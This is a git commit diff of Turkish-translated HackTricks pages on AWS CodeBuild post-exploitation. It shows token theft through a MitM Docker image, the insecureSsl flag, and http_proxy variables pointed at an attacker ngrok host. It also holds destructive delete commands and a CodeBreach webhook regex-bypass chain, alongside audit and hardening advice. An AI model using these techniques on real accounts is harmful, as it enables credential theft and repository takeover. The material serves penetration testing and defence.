Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2026-02-03 12:50:58 +00:00
parent 8d6ea5a7eb
commit b6a7432886
3 changed files with 302 additions and 69 deletions
@@ -4,43 +4,43 @@
## CodeBuild
Daha fazla bilgi için kontrol edin:
Daha fazla bilgi için bakınız:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}
### Gizli Anahtarları Kontrol Et
### Check Secrets
Eğer Codebuild'de Github, Gitlab veya Bitbucket'a bağlanmak için kişisel tokenlar, şifreler veya OAuth token erişimi şeklinde kimlik bilgileri ayarlandıysa, bu **kimlik bilgileri gizli yöneticide gizli olarak saklanacaktır**.\
Bu nedenle, gizli yöneticiyi okuma erişiminiz varsa, bu gizli bilgileri alabilir ve bağlı platforma geçiş yapabilirsiniz.
Eğer CodeBuild içinde Github, Gitlab veya Bitbucket'e bağlanmak için personal tokens, passwords veya OAuth token access şeklinde credentials ayarlandıysa, bu **credentials secret manager içinde secrets olarak saklanacaktır**.\
Bu nedenle, secret manager'ı okuma erişiminiz varsa bu secrets'ları elde edip bağlı platforma pivot yapabilirsiniz.
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
{{#endref}}
### CodeBuild Repo Erişimini Kötüye Kullanma
### Abuse CodeBuild Repo Access
**CodeBuild**'i yapılandırmak için, kullanacağı **kod deposuna erişim** gerekecektir. Bu kodu barındıran birkaç platform olabilir:
CodeBuild'i yapılandırmak için, kullanacağı code repo'ya **erişimi olması gerekir**. Bu kodu barındırabilecek birkaç platform olabilir:
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
**CodeBuild projesinin**, yapılandırılmış kaynak sağlayıcısına erişimi olmalıdır; bu, **IAM rolü** veya bir github/bitbucket **token veya OAuth erişimi** ile olabilir.
**CodeBuild projesinin**, yapılandırılmış source provider'a erişimi olması gerekir; bu ya **IAM role** ile ya da bir github/bitbucket **token veya OAuth access** ile sağlanır.
**CodeBuild** üzerinde **yükseltilmiş izinlere sahip bir saldırgan**, bu yapılandırılmış erişimi kötüye kullanarak yapılandırılmış deponun kodunu ve ayarlanan kimlik bilgilerine erişimi olan diğerlerini sızdırabilir.\
Bunu yapmak için, bir saldırgan sadece **depo URL'sini, yapılandırma kimlik bilgilerinin erişimi olan her depoya değiştirmesi** gerekir (aws web sitesi bunların hepsini sizin için listeleyecektir):
CodeBuild üzerinde **yükseltilmiş izinlere sahip bir saldırgan**, bu yapılandırılmış erişimi kullanarak yapılandırılmış repo'nun ve ayarlanmış creds'lerin erişimi olan diğer repo'ların kodunu leak edebilir.\
Bunu yapmak için saldırganın yapması gereken tek şey, **yapılandırma credential'larının erişimi olan her repo için repository URL'sini değiştirmek** (aws web bunların hepsini sizin için listeleyecektir):
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
Ve **her deponun dışa aktarımını sağlamak için Buildspec komutlarını değiştirmelidir**.
Ve **Buildspec komutlarını her repo'yu exfiltrate edecek şekilde değiştirmek**.
> [!WARNING]
> Ancak, bu **görev tekrarlayıcı ve zahmetlidir** ve eğer bir github tokenı **yazma izinleriyle yapılandırıldıysa**, bir saldırgan **bu izinleri (kötüye) kullanamayacaktır** çünkü tokena erişimi yoktur.\
> Ya da var mı? Sonraki bölümü kontrol edin
> Ancak bu ** tekrarlı ve sıkıcıdır** ve eğer bir github token'ı **write permissions** ile yapılandırıldıysa, saldırgan **bu izinleri (ab)use edemeyecektir** çünkü token'a erişimi yoktur.\
> Ya da var mı? Bir sonraki bölüme bakın
### AWS CodeBuild'den Erişim Tokenlarını Sızdırma
### Leaking Access Tokens from AWS CodeBuild
CodeBuild'de verilen erişimi Github gibi platformlara sızdırabilirsiniz. Dış platformlara herhangi bir erişim verilip verilmediğini kontrol edin:
CodeBuild içinde verilen erişimi Github gibi platformlara leak edebilirsiniz. Harici platformlara herhangi bir erişim verilmiş mi kontrol etmek için:
```bash
aws codebuild list-source-credentials
```
@@ -48,29 +48,37 @@ aws codebuild list-source-credentials
aws-codebuild-token-leakage.md
{{#endref}}
### webhook filtre yanlış yapılandırması yoluyla güvensiz PR yürütülmesi
Webhook filtreleri zayıfsa, dış saldırganlar PR'lerinin ayrıcalıklı CodeBuild projelerinde oluşturulmasını sağlayıp CI içinde keyfi kod çalıştırabilirler.
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
### `codebuild:DeleteProject`
Bir saldırgan, tüm bir CodeBuild projesini silebilir, bu da proje yapılandırmasının kaybına ve projeye bağımlı uygulamaların etkilenmesine neden olabilir.
Bir saldırgan tüm bir CodeBuild projesini silebilir; bu, proje yapılandırmasının kaybına ve projeye bağımlı uygulamaların etkilenmesine neden olur.
```bash
aws codebuild delete-project --name <value>
```
**Olası Etki**: Silinen projeyi kullanan uygulamalar için proje yapılandırmasının kaybı ve hizmet kesintisi.
**Potansiyel Etki**: Proje yapılandırmasının kaybı ve silinen projeyi kullanan uygulamalar için hizmet kesintisi.
### `codebuild:TagResource` , `codebuild:UntagResource`
Bir saldırgan, CodeBuild kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
Bir saldırgan, CodeBuild kaynaklarına tags ekleyebilir, değiştirebilir veya kaldırabilir; bu da kuruluşunuzun tags'e dayalı maliyet tahsisini, kaynak takibini ve erişim kontrol politikalarını bozabilir.
```bash
aws codebuild tag-resource --resource-arn <value> --tags <value>
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
```
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması.
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etikete dayalı erişim denetimi politikalarının bozulması.
### `codebuild:DeleteSourceCredentials`
Bir saldırgan, bir Git deposu için kaynak kimlik bilgilerini silebilir ve bu, deponun normal işleyişine bağımlı olan uygulamaları etkileyebilir.
Bir saldırgan, bir Git deposu için kaynak kimlik bilgilerini silebilir; bu, depoya bağımlı uygulamaların normal işleyişini etkileyebilir.
```sql
aws codebuild delete-source-credentials --arn <value>
```
**Potansiyel Etki**: Kaynak kimlik bilgilerinin kaldırılması nedeniyle etkilenen depoya bağımlı uygulamaların normal işleyişinin kesintiye uğraması.
**Olası Etki**: Kaynak kimlik bilgilerinin kaldırılması nedeniyle etkilenen depoya bağımlı uygulamaların normal işleyişinin bozulması.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,48 +2,47 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Github/Bitbucket için yapılandırılmış Tokens'ları Kurtarma
## Recover Github/Bitbucket Configured Tokens
İlk olarak, leak yapabileceğiniz herhangi bir kaynak kimlik bilgisinin yapılandırılıp yapılandırılmadığını kontrol edin:
Öncelikle leak yapabileceğiniz herhangi bir source credentials yapılandırılıp yapılandırılmadığını kontrol edin:
```bash
aws codebuild list-source-credentials
```
### Docker Image ile
### Docker Image Üzerinden
Eğer hesapta örneğin Github için kimlik doğrulaması ayarlıysa, projeyi derlemek için Codebuild'in belirli bir Docker image kullanmasını sağlayarak o erişimi **exfiltrate** edebilirsiniz (**GH token or OAuth token**).
Eğer hesapta örneğin Github için kimlik doğrulaması ayarlı olduğunu görürseniz, Codebuildin projeyi build etmek için belirli bir docker image kullanmasını sağlayarak bu **exfiltrate** edilen **access**i (**GH token or OAuth token**) ele geçirebilirsiniz.
Bu amaçla yeni bir **Codebuild project** oluşturabilir veya mevcut bir projenin **environment**ını değiştirip **Docker image**i ayarlayabilirsiniz.
Bu amaçla **create a new Codebuild project** yapabilir veya mevcut bir projenin **environment**ını değiştirerek **Docker image**’ı ayarlayabilirsiniz.
Kullanabileceğiniz Docker image: [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Bu, env değişkenleri `https_proxy`, `http_proxy` ve `SSL_CERT_FILE`'ı ayarlayan çok temel bir Docker image'idir. Bu, `https_proxy` ve `http_proxy`'ta belirtilen host'un trafiğinin çoğunu intercept etmenize ve `SSL_CERT_FILE`'ta belirtilen SSL CERT'e güvenmenize olanak sağlar.
Kullanabileceğiniz Docker image [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Bu çok basit bir Docker image’ı olup **env variables `https_proxy`**, **`http_proxy`** ve **`SSL_CERT_FILE`** değişkenlerini ayarlar. Bu, **`https_proxy`** ve **`http_proxy`**de belirtilen hostun trafiğinin çoğunu yakalamanıza ve **`SSL_CERT_FILE`** ile belirtilen SSL sertifikasına güvenmenize olanak tanır.
1. **Kendi Docker MitM image'inizi Oluşturun & Yükleyin**
- Repo'nun talimatlarını takip ederek proxy IP adresinizi ve SSL sertifikanızı ayarlayın ve **build the docker image**.
- **DO NOT SET `http_proxy`**; metadata endpoint'e yapılan istekleri intercept etmemek için.
- Proxy'yi host'unuza ayarlamak için **`ngrok`** kullanabilirsiniz; örneğin: `ngrok tcp 4444`
- Docker image'i oluşturduktan sonra, **public bir repo'ya yükleyin** (Dockerhub, ECR...)
2. **Environment'i ayarlayın**
- Yeni bir **Codebuild project** oluşturun veya mevcut birinin environment'ını değiştirin.
- Projeyi daha önce oluşturulan **Docker image**'i kullanacak şekilde ayarlayın
1. **Create & Upload your own Docker MitM image**
- Repo'daki talimatları takip ederek proxy IP adresinizi ve SSL sertifikanızı ayarlayın ve **build the docker image**.
- **DO NOT SET `http_proxy`**; metadata endpoint'e yapılan istekleri yakalamamak için.
- Proxy'yi hostunuza ayarlamak için **`ngrok`** gibi bir araç kullanabilirsiniz, örn. `ngrok tcp 4444`
- Docker image'ı oluşturduktan sonra, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- Create a **new Codebuild project** veya mevcut bir projenin **modify** edilmiş environment'ını kullanın.
- Projeyi **previously generated Docker image**'ı kullanacak şekilde ayarlayın
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **MitM proxy'yi host'unuza ayarlayın**
3. **Set the MitM proxy in your host**
- **Github repo**'da belirtildiği gibi şu tarz bir şey kullanabilirsiniz:
- **Github repo**'da belirtildiği gibi şu gibi bir şey kullanabilirsiniz:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> Kullanılan **mitmproxy sürümü 9.0.1'di**, sürüm 10 ile bunun çalışmayabileceği rapor edildi.
> Kullanılan **mitmproxy sürümü 9.0.1** idi; sürüm 10 ile bunun çalışmayabileceği bildirilmiş.
4. **Build'i çalıştırın & kimlik bilgilerini yakalayın**
- Token'ı **Authorization** başlığında görebilirsiniz:
- **Authorization** başlığında token'ı görebilirsiniz:
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
Bu, aws cli üzerinden şu şekilde de yapılabilir:
Bu ayrıca aws cli ile şu şekilde de yapılabilir:
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -74,15 +73,15 @@ aws codebuild start-build --project-name my-project2
```
### insecureSSL ile
**Codebuild** projelerinin **`insecureSsl`** adında bir ayarı vardır; web arayüzünde gizlidir, yalnızca API üzerinden değiştirilebilir.\
Bu ayarı etkinleştirmek, Codebuild'in platformun sunduğu sertifikayı **kontrol etmeden** repository'ye bağlanmasına izin verir.
**Codebuild** projelerinin **`insecureSsl`** adında bir ayarı vardır; bu ayar web arayüzünde gizlidir ve yalnızca API üzerinden değiştirilebilir.\
Bunu etkinleştirmek, Codebuild'in platformun sunduğu **sertifikayı kontrol etmeden** repository'ye bağlanmasına izin verir.
- İlk olarak mevcut yapılandırmayı şu komutla listelemeniz gerekiyor:
- Önce mevcut yapılandırmayı aşağıdaki gibi sorgulamanız gerekir:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Ardından, toplanan bilgilerle proje ayarındaki **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda benim bir projeyi güncelleme örneğim var; sondaki **`insecureSsl=True`**'e dikkat edin (toplanan yapılandırmadan değiştirmeniz gereken tek şey budur).
- Ayrıca, env değişkenleri **http_proxy** ve **https_proxy**'i tcp ngrok'unuza işaret edecek şekilde ekleyin, örneğin:
- Ardından, elde edilen bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncelleme örneğim var; sonunda **`insecureSsl=True`** olduğunu unutmayın (toplanan yapılandırmadan değiştirmeniz gereken tek şey budur).
- Ayrıca, **`http_proxy`** ve **`https_proxy`** env değişkenlerini tcp ngrok'unuza işaret edecek şekilde ekleyin:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -116,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) indeki temel örneği çalıştırın
- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın.
```python
from mitm import MITM, protocol, middleware, crypto
@@ -129,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Son olarak **Build the project**'e tıklayın, **credentials** mitm portuna **düz metin** (base64) olarak gönderilecektir:
- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~HTTP protokolü ile~~
> [!TIP] > **Bu zafiyet AWS tarafından 20 Şubat 2023 haftasının bir noktasında (sanırım Cuma günü) düzeltildi. Yani bir saldırgan artık bunu kötüye kullanamaz :)**
> [!TIP] > **Bu zafiyet AWS tarafından 20 Şubat 2023 tarihinin bulunduğu hafta içinde bir noktada düzeltildi (sanırım Cuma günü). Yani artık bir saldırgan bunu kötüye kullanamaz :)**
Bir saldırgan, **CodeBuild üzerinde yükseltilmiş izinlere sahipse yapılandırılmış Github/Bitbucket token'ını leak edebilir** veya izinler OAuth ile yapılandırıldıysa, **koda erişimde kullanılan geçici OAuth token'ını** leak edebilir.
CodeBuild üzerinde yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını leak edebilir veya izinler OAuth ile yapılandırıldıysa, koda erişmek için kullanılan geçici OAuth token'ını leak edebilir.
- Bir saldırgan, CodeBuild projesine ortam değişkenleri **http_proxy** ve **https_proxy**'i kendi makinesine işaret edecek şekilde ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
- Bir saldırgan **http_proxy** ve **https_proxy** ortam değişkenlerini CodeBuild projesine kendi makinesine işaret edecek şekilde ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Sonra, github repo URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın.
- Sonra, repo URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
- Ardından, proxy değişkenlerinin işaret ettiği portta (http_proxy ve https_proxy) [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın.
```python
from mitm import MITM, protocol, middleware, crypto
@@ -159,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Ardından, **Projeyi derle** seçeneğine tıklayın veya derlemeyi komut satırından başlatın:
- Ardından, **Projeyi derle** öğesine tıklayın veya derlemeyi komut satırından başlatın:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Son olarak, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna gönderilecektir:
- Son olarak, **credentials** **düz metin halinde gönderilecek** (base64) mitm portuna:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Artık bir saldırgan token'ı kendi makinesinden kullanabilecek, sahip olduğu tüm ayrıcalıkları listeleyebilecek ve CodeBuild servisini doğrudan kullanmaktan daha kolay şekilde (ab)use edebilecektir.
> Artık bir attacker token'ı kendi makinesinden kullanabilecek, sahip olduğu tüm privileges'i listeleyebilecek ve CodeBuild servisini doğrudan kullanmaktan daha kolay şekilde (ab)use edebilecek.
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
## Untrusted PR execution via webhook filter misconfiguration
Misconfigured CodeBuild GitHub webhooks that use unanchored `ACTOR_ID` regexes let *untrusted* PRs start privileged builds. If the allowlist is like `123456|7890123` without `^`/`$`, any ID containing one of those substrings matches. Because GitHub user IDs are sequential, an attacker can race to register an “eclipsing” ID (a superstring of a trusted ID) and trigger the build.
PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution) için bakınız:
**Exploit path**
1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist.
2. Obtain an eclipsing GitHub ID:
- Sample the global ID counter by creating/deleting GitHub orgs (org IDs share the pool).
- Pre-stage many GitHub App manifest creations and fire the confirmation URLs when the counter is within ~100 IDs of the target to burst-register a bot ID containing the trusted substring.
3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs.
4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token.
5. With the tokens `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets.
## References
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,235 @@
# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
{{#include ../../../../banners/hacktricks-training.md}}
Bu saldırı vektörü, bir **public-facing PR workflow**'un zayıf webhook kontrolleriyle bir **privileged CodeBuild project**'e bağlı olduğu durumlarda ortaya çıkar.
Eğer dış bir saldırgan CodeBuild'in kendi pull request'ini çalıştırmasını sağlayabilirse, genellikle **build içinde keyfi kod çalıştırma** elde eder (build script'leri, dependency hook'ları, test script'leri vb.) ve ardından secret'lara, IAM kimlik bilgilerine veya source-provider kimlik bilgilerine pivot yapar.
## Why this is dangerous
CodeBuild webhook filtreleri (non-`EVENT` filtreleri için) regex pattern'leri ile değerlendirilir. `ACTOR_ACCOUNT_ID` filtresinde, zayıf bir pattern hedeflenen kullanıcıdan daha fazlasıyla eşleşebilir.
Eğer untrusted PR'ler privileged AWS role izinlerine veya GitHub kimlik bilgilerine sahip bir projede build ediliyorsa, bu tam bir supply-chain compromise'a dönüşebilir.
Wiz pratik bir zinciri şu şekilde gösterdi:
1. Webhook actor allowlist bir **unanchored regex** kullandı.
2. Saldırgan, trusted ID'nin **superstring**i olarak eşleşen bir GitHub ID'si kaydetti.
3. Kötü amaçlı bir PR CodeBuild'i tetikledi.
4. Build içinde kod çalıştırılarak bellek dökümü yapıldı ve source-provider kimlik bilgileri/token'ları ele geçirildi.
## Misconfigurations that allow external PR code execution
Aşağıdakiler yüksek riskli hatalar ve saldırganların her birini nasıl suistimal ettiği:
1. **`EVENT` filters allow untrusted triggers**
- Yaygın riskli event'ler: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
- Ayrıcalıklı build'lere bağlandığında tehlikeli olabilecek diğer event'ler: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
- Kötü: privileged bir projede `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"`.
- Daha iyi: privileged projeler için PR comment approval kullanın ve tetiklenen event sayısını en aza indirin.
- Suistimal: saldırgan kendi kontrolündeki bir branch'e PR açar/günceller veya push yapar ve kodu CodeBuild içinde çalışır.
2. **`ACTOR_ACCOUNT_ID` regex is weak**
- Kötü: `123456|7890123` gibi unanchored pattern'ler.
- Daha iyi: tam eşleşme anchoring `^(123456|7890123)$`.
- Suistimal: regex over-match, yetkisiz GitHub ID'lerinin allowlist'ten geçmesine izin verir.
3. **Other regex filters are weak or missing**
- `HEAD_REF`
- Kötü: `refs/heads/.*`
- Daha iyi: `^refs/heads/main$` (veya açıkça belirtilmiş trusted liste)
- `BASE_REF`
- Kötü: `.*`
- Daha iyi: `^refs/heads/main$`
- `FILE_PATH`
- Kötü: path kısıtlaması yok
- Daha iyi: `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$` gibi riskli dosyaları hariç tutun
- `COMMIT_MESSAGE`
- Kötü: `trusted` gibi gevşek bir eşleşmeyle güven işareti kabul etmek
- Daha iyi: commit mesajını PR execution için bir trust boundary olarak kullanmayın
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
- Kötü: org/global webhook'larda `.*`
- Daha iyi: sadece tam repo/org eşleşmeleri
- `WORKFLOW_NAME`
- Kötü: `.*`
- Daha iyi: sadece tam workflow adı eşleşmeleri (veya bunu trust kontrolü olarak kullanmaktan kaçının)
- Suistimal: saldırgan permissive regex'i sağlamak için ref/path/message/repo bağlamını uydurur ve build'leri tetikler.
4. **`excludeMatchedPattern` is misused**
- Bu flag yanlış ayarlandığında niyet edilen mantığı tersine çevirebilir.
- Kötü: buildspec değişikliklerini engellemek niyetiyle `FILE_PATH '^buildspec\\.yml$'` ile `excludeMatchedPattern=false`.
- Daha iyi: `buildspec.yml`'i engellemek için aynı pattern ile `excludeMatchedPattern=true`.
- Suistimal: savunucular riskli event/path/actor'ları engellediklerini sanırken aslında izin veriyor olabilirler.
5. **Multiple `filterGroups` create accidental bypasses**
- CodeBuild, grupları OR olarak değerlendirir (bir passing group yeterlidir).
- Kötü: bir sıkı grup + bir izin verici fallback grup (örn. sadece `EVENT=PULL_REQUEST_UPDATED`).
- Daha iyi: actor/ref/path kısıtlamalarını uygulamayan fallback gruplarını kaldırın.
- Suistimal: saldırgan en zayıf grubu sağlamak zorundadır.
6. **Comment approval gate disabled or too permissive**
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` en güvensiz olandır.
- Çok geniş approver rolleri kontrolü azaltır.
- Kötü: `requiresCommentApproval=DISABLED`.
- Daha iyi: minimal approver rolleri ile `ALL_PULL_REQUESTS` veya `FORK_PULL_REQUESTS`.
- Suistimal: fork/drive-by PR'ler trusted maintainer onayı olmadan otomatik çalışır.
7. **No restrictive branch/path strategy for PR builds**
- `HEAD_REF` + `BASE_REF` + `FILE_PATH` ile defense-in-depth eksikliği.
- Kötü: sadece `EVENT` + `ACTOR_ACCOUNT_ID`, ref/path kontrolleri yok.
- Daha iyi: tam `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` kısıtlamalarını kombine edin.
- Suistimal: saldırgan build girdilerini (buildspec/CI/dependencies) değiştirir ve keyfi komut çalıştırma elde eder.
8. **Public visibility + status URL exposure**
- Public build/check URL'leri saldırganın reconnaissance ve iteratif test yapmasını kolaylaştırır.
- Kötü: hassas log/config içeren public build'lerde `projectVisibility=PUBLIC_READ`.
- Daha iyi: güçlü bir iş ihtiyacı yoksa projeleri private tutun ve log/artifact'leri sanitize edin.
- Suistimal: saldırgan proje pattern'lerini/behaviour'larını keşfeder, payload ve bypass denemelerini ayarlar.
## Token leakage from memory
Wiz'in raporu, source-provider kimlik bilgilerinin build runtime context'inde bulunduğunu ve build compromise sonrası (ör. bellek dökümü yoluyla) çalınabileceğini, geniş scope'luysa repository takeover'a izin verebileceğini açıklıyor.
AWS ifşadan sonra hardening uyguladı, ancak temel ders değişmedi: **privileged build context'lerinde asla untrusted PR kodu çalıştırmayın** ve attacker kontrollü build kodunun kimlik bilgisi hırsızlığı deneyeceğini varsayın.
CodeBuild'de ek credential theft teknikleri için ayrıca bakın:
{{#ref}}
aws-codebuild-token-leakage.md
{{#endref}}
## Finding CodeBuild URLs in GitHub PRs
Eğer CodeBuild commit status'u GitHub'a raporluyorsa, CodeBuild build URL'si genellikle şu yerlerde görünür:
1. **PR page** -> **Checks** sekmesi (veya Conversation/Commits içindeki status satırı).
2. **Commit page** -> status/checks bölümü -> **Details** linki.
3. **PR commits list** -> bir commite bağlı check context'e tıklayın.
Public projeler için bu link, kimliği doğrulanmamış kullanıcılara build meta/veri/config açıklayabilir.
<details>
<summary>Script: detect CodeBuild URLs in a PR and test if they look public</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Usage:
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
#
# Requirements: gh, jq, curl
OWNER="${1:?owner}"
REPO="${2:?repo}"
PR="${3:?pr_number}"
for bin in gh jq curl timeout; do
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
done
tmp_commits="$(mktemp)"
tmp_urls="$(mktemp)"
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
gh_api() {
timeout 20s gh api "$@" 2>/dev/null || true
}
# Get all commit SHAs in the PR (bounded call to avoid hangs)
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
if [ ! -s "$tmp_commits" ]; then
echo "[!] No commits found (or API call timed out/failed)." >&2
exit 1
fi
echo "[*] PR commits:"
cat "$tmp_commits"
echo
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
while IFS= read -r sha; do
[ -z "$sha" ] && continue
# Classic commit statuses (target_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
# GitHub Checks API (details_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
done < "$tmp_commits" | sort -u > "$tmp_urls"
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
echo
echo "[*] Public-access heuristic:"
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
echo
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
if [ -z "$cb_urls" ]; then
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
exit 0
fi
while IFS= read -r url; do
[ -z "$url" ] && continue
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
elif [ "$code" = "200" ]; then
verdict="POTENTIALLY_PUBLIC"
else
verdict="UNKNOWN_CHECK_MANUALLY"
fi
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
done <<< "$cb_urls"
```
Aşağıdaki ile test edildi:
```bash
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
```
</details>
## Hızlı denetim kontrol listesi
```bash
# Enumerate projects
aws codebuild list-projects
# Inspect source/webhook configuration
aws codebuild batch-get-projects --names <project-name>
# Inspect global source credentials configured in account
aws codebuild list-source-credentials
```
Her projeyi şu konular açısından inceleyin:
- `webhook.filterGroups` içinde PR olayları olması.
- `ACTOR_ACCOUNT_ID` desenlerinin `^...$` ile anchorlanmamış olması.
- `pullRequestBuildPolicy.requiresCommentApproval` değerinin `DISABLED` olması.
- Eksik branch/path kısıtlamaları.
- Yüksek ayrıcalıklı `serviceRole`.
- Riskli kaynak kimlik bilgileri kapsamı ve yeniden kullanımı.
## Sertleştirme önerileri
1. PR build'ları için yorum onayı gerektirin (`ALL_PULL_REQUESTS` veya `FORK_PULL_REQUESTS`).
2. Actor allowlist kullanıyorsanız, regex'leri ^...$ ile sınırlandırın ve tam eşleşme sağlayın.
3. Güvenilmeyen düzenlemelerin `buildspec.yml` ve CI scriptlerine erişmesini önlemek için `FILE_PATH` kısıtlamaları ekleyin.
4. Güvenilir release build'lerini güvenilmeyen PR build'lerinden ayrı projelere/rollere ayırın.
5. Kaynak sağlayıcı token'ları için en az ayrıcalıklı, ince taneli izinler kullanın (tercihen adanmış düşük ayrıcalıklı kimlikleri tercih edin).
6. Webhook filtrelerini ve kaynak kimlik bilgisi kullanımını sürekli denetleyin.
## Referanslar
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
{{#include ../../../../banners/hacktricks-training.md}}